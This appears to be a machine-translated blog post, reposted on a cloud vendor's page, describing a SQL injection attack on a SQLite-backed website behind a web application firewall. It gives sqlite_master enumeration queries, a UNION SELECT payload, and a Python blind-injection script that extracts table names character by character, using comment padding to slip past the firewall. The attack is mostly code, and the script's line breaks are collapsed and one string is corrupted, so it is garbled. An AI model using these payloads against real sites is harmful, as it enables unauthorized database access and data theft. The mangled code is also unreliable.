SQLite injection Test

Source: Internet
Author: User
Tags sqlite sqlite database python script

Testing a website is a SQLite database, also equipped with a security dog, bypassing the protection, find payload, wrote a python script to stopwatch, here summarizes:

Get all the table names in the SQLite database

The query Table,type segment is ' table ', the Name field is the names of the table,

So:select name from Sqlite_master where type= ' table ' order by name;

Query a record: select name from Sqlite_master where type= ' table ' ORDER by name limit 0,1

Sqlite_version (*) returns the version of SQLite

Similar to mysql5.x, does SQLite exist similar to information_schema? A table, which is not displayed by default, is named Sqlite_master, and the fields in the table are Type,name,tbl_name,rootpage,sql,? The more valuable is the SQL field

Union Select 1,sql,2,3 from Sqlite_master

#! /usr/bin/Env python# _*_ coding:utf-8_*_import urllibimport urllib2payloads='[Email protected]_.abcdefghijklmnopqrstuvwxyz'Header= {'user-agent':'mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'} values={}print'Start to retrive User:'User="' forIinchRange1, the):     forPayloadinchpayloadsvalues['fromcity']="xxx'/**a*/and/**a*/"+"substr (select name from Sqlite_master where type= ' table ' ORDER by name limit 0,1),%s,1) = '%s '--"%(I,STR (payload)) data=urllib.urlencode (values) URL="http://www.xxxx.com/xxxx.aspx"Geturl= url+'?'+Data Request= Urllib2. Request (geturl,headers=header) Response= Urllib2.urlopen (request,timeout=5) Result=response.read () print'.',        ifResult.count ('HO1110') >0: User+=Payload Print'\n\n[in Progress]', user, BreakPrint'\n\n[done] User is%s'% User

Reference article:

Php/sqlite Common Vulnerability Analysis: http://www.2cto.com/Article/201410/342032.html

SQLite injection Test

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.